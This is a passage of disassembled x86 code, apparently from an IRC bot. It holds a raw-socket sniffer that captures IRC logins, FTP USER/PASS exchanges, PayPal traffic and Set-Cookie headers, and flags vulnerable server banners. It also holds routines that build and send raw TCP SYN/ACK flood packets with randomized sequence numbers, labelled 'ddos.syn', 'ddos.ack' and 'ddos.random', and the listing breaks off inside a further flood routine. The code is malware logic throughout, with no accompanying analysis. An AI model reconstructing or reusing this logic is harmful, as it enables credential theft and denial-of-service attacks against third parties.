push offset aLogin_1 ; ":!login"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset aLogin_2 ; ":!Login"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset a_login_0 ; ":.Login"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset a_ident ; ":.ident"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412C7D
push offset aIdent_0 ; ":!ident"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz loc_412C7D
push offset a_hashin ; ":.hashin"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz loc_412C7D
push offset aHashin ; ":!hashin"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412C1F endp
; =============== S U B R O U T I N E =======================================
sub_412D36 proc near ; CODE XREF: sub_412F1F:loc_413205p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aIrcSniff ; "IRC sniff"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412D50
loc_412D4C: ; CODE XREF: sub_412D36+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412D50: ; CODE XREF: sub_412D36+14j
push offset a0 ; "#0#"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D4C
push offset aOper ; "OPER "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412D76
loc_412D72: ; CODE XREF: sub_412D36+4Fj
; sub_412D36+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412D76: ; CODE XREF: sub_412D36+3Aj
push offset aNick_3 ; "NICK "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D72
push offset aOper_0 ; "oper "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412D72
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412D36 endp
; =============== S U B R O U T I N E =======================================
sub_412DAC proc near ; CODE XREF: sub_412F1F:loc_413231p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aFtpSniff ; "FTP sniff"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412DC6
loc_412DC2: ; CODE XREF: sub_412DAC+29j
; sub_412DAC+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412DC6: ; CODE XREF: sub_412DAC+14j
push offset a0 ; "#0#"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DC2
push offset aNick_2 ; "NICK "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DC2
push offset a220 ; "220 "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412DFD
loc_412DF9: ; CODE XREF: sub_412DAC+60j
; sub_412DAC+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412DFD: ; CODE XREF: sub_412DAC+4Bj
push offset a230 ; "230 "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DF9
push offset aUser_2 ; "USER "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412DF9
push offset aPass_0 ; "PASS "
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412DAC endp
; =============== S U B R O U T I N E =======================================
sub_412E33 proc near ; CODE XREF: sub_412F1F+345p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aHttpSniff ; "HTTP sniff"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412E4D
loc_412E49: ; CODE XREF: sub_412E33+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412E4D: ; CODE XREF: sub_412E33+14j
push offset a0 ; "#0#"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412E49
push offset aPaypal ; "paypal"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412E73
loc_412E6F: ; CODE XREF: sub_412E33+4Fj
; sub_412E33+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412E73: ; CODE XREF: sub_412E33+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412E6F
push offset aPaypal_com ; "PAYPAL.COM"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412E6F
push offset aPaypal_com_0 ; "paypal.com"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412E6F
push offset aSetCookie ; "Set-Cookie:"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412E33 endp
; =============== S U B R O U T I N E =======================================
sub_412EBA proc near ; CODE XREF: sub_412F1F:loc_4132CCp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push offset aVulnSniff ; "VULN sniff"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412ED4
loc_412ED0: ; CODE XREF: sub_412EBA+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412ED4: ; CODE XREF: sub_412EBA+14j
push offset a0 ; "#0#"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412ED0
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_412EFA
loc_412EF6: ; CODE XREF: sub_412EBA+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412EFA: ; CODE XREF: sub_412EBA+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jnz short loc_412EF6
push offset aOpenssh_2 ; "OpenSSH_2"
push esi
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F1F proc near ; DATA XREF: sub_401C87+4254o
var_113B8 = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
var_1138C = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
var_2B8 = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
xor esi, esi
push 3Fh
inc esi
xor ebx, ebx
mov [eax+90h], esi
pop ecx
loc_412F4D: ; DATA XREF: _2:off_4516C0o
; _2:off_4516C4o
xor eax, eax
lea edi, [ebp+var_3B7]
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call ds:dword_4E2FDC ; gethostname
lea eax, [ebp+var_3B8]
push eax
call ds:dword_4E304C ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx
push dword ptr [eax]
lea eax, [ebp+var_8]
push eax
call sub_41FBF0
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call ds:dword_4E3048 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_412FC5
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_412FC5: ; CODE XREF: sub_412F1F+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call ds:dword_4E2FF4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_41303B
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_44C990
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_413017
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409C75
add esp, 14h
loc_413017: ; CODE XREF: sub_412F1F+D6j
lea eax, [ebp+var_2B8]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_34]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_41303B: ; CODE XREF: sub_412F1F+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call ds:dword_4E2F74 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_4130C1
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_44C9BC
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41309D
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409C75
add esp, 14h
loc_41309D: ; CODE XREF: sub_412F1F+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_34]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4130C1: ; CODE XREF: sub_412F1F+13Cj
mov esi, 200h
loc_4130C6: ; CODE XREF: sub_412F1F+1D6j
; sub_412F1F+1FFj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call ds:dword_4E2FE0 ; recv
cmp [ebp+var_113AF], 6
jnz short loc_4130C6
push [ebp+var_113A4]
call ds:dword_4F5500 ; htons
push [ebp+var_113A4+2]
movzx edi, ax
mov [ebp+var_4], edi
call ds:dword_4F5500 ; htons
movzx eax, ax
cmp edi, 6Eh
mov [ebp+arg_0], eax
jz short loc_4130C6
cmp edi, 19h
jz short loc_4130C6
cmp eax, 6Eh
jz short loc_4130C6
cmp eax, 19h
jz short loc_4130C6
push [ebp+var_113AC]
call sub_412C10
mov edi, ds:dword_4F5504
add esp, 4
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_27 ; "%s"
push eax
call sub_41EA60
push [ebp+var_113A8]
call sub_412C10
add esp, 10h
push dword ptr [eax]
call edi ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_28 ; "%s"
push eax
call sub_41EA60
lea eax, [ebp+var_1138C]
xor edi, edi
push eax
call sub_41BC70
add esp, 10h
test eax, eax
jle short loc_4131BB
loc_413192: ; CODE XREF: sub_412F1F+29Aj
lea eax, [ebp+edi+var_1138C]
cmp byte ptr [eax], 0Dh
jnz short loc_4131A1
mov byte ptr [eax], 20h
loc_4131A1: ; CODE XREF: sub_412F1F+27Dj
cmp byte ptr [eax], 0Ah
jnz short loc_4131A9
mov byte ptr [eax], 20h
loc_4131A9: ; CODE XREF: sub_412F1F+285j
lea eax, [ebp+var_1138C]
inc edi
push eax
call sub_41BC70
cmp edi, eax
pop ecx
jl short loc_413192
loc_4131BB: ; CODE XREF: sub_412F1F+271j
cmp [ebp+var_4], 50h
jz loc_41325D
cmp [ebp+arg_0], 50h
jz loc_41325D
lea eax, [ebp+var_1138C]
push eax
call sub_412C1F
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_413205
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_44C9F4
jmp loc_41328E
; ---------------------------------------------------------------------------
loc_413205: ; CODE XREF: sub_412F1F+2C6j
call sub_412D36
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_413231
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_44CA28
jmp short loc_41328E
; ---------------------------------------------------------------------------
loc_413231: ; CODE XREF: sub_412F1F+2F5j
call sub_412DAC
test al, al
pop ecx
jz short loc_41325D
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_44CA5C
jmp short loc_41328E
; ---------------------------------------------------------------------------
loc_41325D: ; CODE XREF: sub_412F1F+2A0j
; sub_412F1F+2AAj ...
lea eax, [ebp+var_1138C]
push eax
call sub_412E33
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4132CC
push [ebp+arg_0]
lea eax, [ebp+var_BB8]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_44CA90
loc_41328E: ; CODE XREF: sub_412F1F+2E1j
; sub_412F1F+310j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41EC30
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_4130C6
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409C75
add esp, 14h
jmp loc_4130C6
; ---------------------------------------------------------------------------
loc_4132CC: ; CODE XREF: sub_412F1F+354j
call sub_412EBA
test al, al
pop ecx
jz loc_4130C6
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_13B8]
push [ebp+var_4]
push eax
push offset unk_44CAC8
jmp short loc_41328E
sub_412F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4132FC proc near ; DATA XREF: sub_401C87+65EDo
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4136E4
push eax
lea eax, [ebp+var_494]
push offset unk_44CB00
push eax
call sub_41EA60
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_41338C
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409C75
add esp, 14h
loc_41338C: ; CODE XREF: sub_4132FC+6Ej
lea eax, [ebp+var_494]
push eax
call sub_415A3C
push [ebp+var_290]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_4132FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4133AE proc near ; CODE XREF: sub_4136E4+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_4E2F38 ; WSAStartup
test eax, eax
jz short loc_4133EE
xor eax, eax
jmp loc_4136B7
; ---------------------------------------------------------------------------
loc_4133EE: ; CODE XREF: sub_4133AE+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_4E306C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4136AF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4136A5
push [ebp+arg_C]
mov [ebp+var_58], 2
call ds:dword_4E2FC8 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call ds:dword_4E2FC8 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call ds:dword_4E2FC8 ; htons
mov [ebp+var_12], ax
call sub_41EB70
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_4E2FC8 ; htons
push 12345678h
mov [ebp+var_14], ax
call ds:dword_4E2FC4 ; htonl
push offset aDdos_syn_0 ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134BE
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_413512
; ---------------------------------------------------------------------------
loc_4134BE: ; CODE XREF: sub_4133AE+105j
push offset aDdos_ack_0 ; "ddos.ack"
push [ebp+arg_8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4134DA
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_413512
; ---------------------------------------------------------------------------
loc_4134DA: ; CODE XREF: sub_4133AE+121j
push offset aDdos_random_0 ; "ddos.random"
push [ebp+arg_8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_413512
call sub_41EB70
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41EB70
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_413512: ; CODE XREF: sub_4133AE+10Ej
; sub_4133AE+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call ds:dword_4E2FC8 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call ds:dword_4F540C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_421180
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413560: ; CODE XREF: sub_4133AE+2E2j
; sub_4133AE+2EEj
mov [ebp+var_4], bx
call sub_41EB70
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_4E2FC8 ; htons
mov [ebp+var_14], ax
call sub_41EB70
mov edi, eax
shl edi, 10h
call sub_41EB70
or edi, eax
push edi
call ds:dword_4E2FC8 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_4E2FC4 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_4E2FC8 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41FBF0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF06
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41FBF0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41E4B0
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF06
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call ds:dword_4E302C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4136BB
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4136A2
jl loc_413560
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_413560
loc_4136A2: ; CODE XREF: sub_4133AE+2E0j
mov ebx, [ebp+arg_8]
loc_4136A5: ; CODE XREF: sub_4133AE+78j
; sub_4133AE+334j
push [ebp+var_20]
call ds:dword_4E3060 ; closesocket
pop esi
loc_4136AF: ; CODE XREF: sub_4133AE+5Bj
call ds:dword_4E2F20 ; WSACleanup
mov eax, ebx
loc_4136B7: ; CODE XREF: sub_4133AE+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4136BB: ; CODE XREF: sub_4133AE+2CBj
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_44CB4C
push eax
call sub_41EA60
lea eax, [ebp+var_F4]
push eax
call sub_415A3C
add esp, 10h
jmp short loc_4136A5
sub_4133AE endp
; =============== S U B R O U T I N E =======================================
sub_4136E4 proc near ; CODE XREF: sub_4132FC+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AD91
push [esp+10h+arg_4]
mov esi, eax
call sub_41E710
push [esp+14h+arg_C]
mov ebx, eax
call sub_41E710
mov edi, eax
call sub_41EB70
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4133AE
add esp, 20h
test eax, eax
jnz short loc_413731
inc eax
loc_413731: ; CODE XREF: sub_4136E4+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4136E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413740 proc near ; DATA XREF: sub_401C87+67DDo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call ds:dword_4E3048 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4137DB
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CB68
push eax
call sub_41EA60
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4137BE
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409C75
add esp, 14h
loc_4137BE: ; CODE XREF: sub_413740+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_415A3C
push [ebp+var_38]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4137DB: ; CODE XREF: sub_413740+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413852
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CB94
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413835
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409C75
add esp, 14h
loc_413835: ; CODE XREF: sub_413740+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_415A3C
push [ebp+var_38]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413852: ; CODE XREF: sub_413740+B3j
lea eax, [ebp+var_1B8]
push eax
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4138B9
lea eax, [ebp+var_3BC]
push offset unk_44CBC4
push eax
call sub_41EA60
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_41389C
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409C75
add esp, 14h
loc_41389C: ; CODE XREF: sub_413740+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_415A3C
push [ebp+var_38]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4138B9: ; CODE XREF: sub_413740+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call ds:dword_4E2FC8 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call ds:dword_4E3008 ; inet_addr
mov esi, ds:dword_4F537C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_413A1A
; ---------------------------------------------------------------------------
loc_4138FC: ; CODE XREF: sub_413740+2EBj
push 41Ch
mov ds:byte_4E5D30, 45h
call ds:dword_4E2FC8 ; htons
cmp [ebp+var_2C], edi
mov ds:word_4E5D32, ax
mov ds:word_4E5D34, bx
mov ds:word_4E5D36, di
mov ds:byte_4E5D38, 80h
mov ds:byte_4E5D39, bl
mov ds:word_4E5D3A, di
jz short loc_41396B
call sub_41EB70
mov ebx, eax
shl ebx, 8
call sub_41EB70
add ebx, eax
shl ebx, 8
call sub_41EB70
add ebx, eax
shl ebx, 8
call sub_41EB70
add ebx, eax
mov ds:dword_4E5D3C, ebx
xor ebx, ebx
inc ebx
jmp short loc_413983
; ---------------------------------------------------------------------------
loc_41396B: ; CODE XREF: sub_413740+1F9j
push [ebp+var_1BC]
call sub_40AEAD
pop ecx
push eax
call ds:dword_4E3008 ; inet_addr
mov ds:dword_4E5D3C, eax
loc_413983: ; CODE XREF: sub_413740+229j
mov eax, [ebp+var_18]
mov ds:dword_4E5D40, eax
call sub_41EB70
cdq
mov ecx, 100h
idiv ecx
mov ds:byte_4E5D44, dl
call sub_41EB70
cdq
mov ecx, 100h
